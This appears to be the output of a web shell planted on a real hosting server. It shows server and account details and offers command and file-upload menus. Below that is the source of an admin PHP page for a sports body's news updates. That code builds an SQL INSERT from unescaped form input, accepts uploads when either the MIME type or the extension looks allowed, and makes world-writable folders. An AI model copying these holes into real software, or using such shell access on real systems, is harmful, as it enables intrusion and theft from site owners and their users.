|
Server IP : 86.38.243.193 / Your IP : 216.73.217.143 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u493057690 ( 493057690) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u493057690/domains/iasfindia.com/public_html/admin/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'connect.php';
if(ISSET($_POST['add_updates'])){
$head = $_POST['head'];
$place = $_POST['place'];
$reg_date = $_POST['reg_date'];
$tournament_date = $_POST['tournament_date'];
$uploadedfile="uploadedfile1" ;
$file_type = $_FILES[$uploadedfile]['type'];
$file_name = $_FILES[$uploadedfile]['name'];
$file_name= str_replace(" ","_",$file_name);
if($file_name!="")
{
$file_ext = strtolower(substr($file_name,strrpos($file_name,".")));
$FILE_MIMES = array('application/rtf','application/doc','application/pdf','image/jpeg','image/jpg','image/gif','image/png','image/tiff','image/bmp');
$FILE_EXTS = array('.rtf','.docx','.doc','.pdf','.jpeg','.jpg','.JPG','.gif','.GIF','.png','.PNG','.tiff','.TIFF','.bmp','.BMP');
if (!in_array($file_type, $FILE_MIMES) && !in_array($file_ext, $FILE_EXTS) )
{
echo "Sorry, $file_name($file_type) is not allowed to be uploaded.";
exit();
}
$target_path="files/";
if(is_dir("files/".strtotime("now")))
{
$t_path=strtotime("now");
$target_path =$target_path.$t_path;
$target_path =$target_path."/";
$target_path = $target_path . $file_name;
}
else
{
mkdir(("files/".strtotime("now")),0777, true);
$t_path=strtotime("now");
$target_path =$target_path.$t_path;
$target_path =$target_path."/";
$target_path = $target_path . $file_name;
}
$_FILES[$uploadedfile]['tmp_name'];
if(move_uploaded_file($_FILES[$uploadedfile]['tmp_name'], $target_path))
{
$f_name=$target_path;
}
}
else
{
$f_name="null";
}
$sql = "INSERT INTO `latest_updates` (head, place, reg_date, tournament_date, photo, posted_by, status) VALUES('$head', '$place', '$reg_date', '$tournament_date', '$f_name', 'IASF India', 'Active')";
mysqli_query($conn,$sql);
//echo "<script>alert(\"News Save Successfully\")</script>";
echo "<script> window.location=\"l-updates.php\"</script>";
}
?>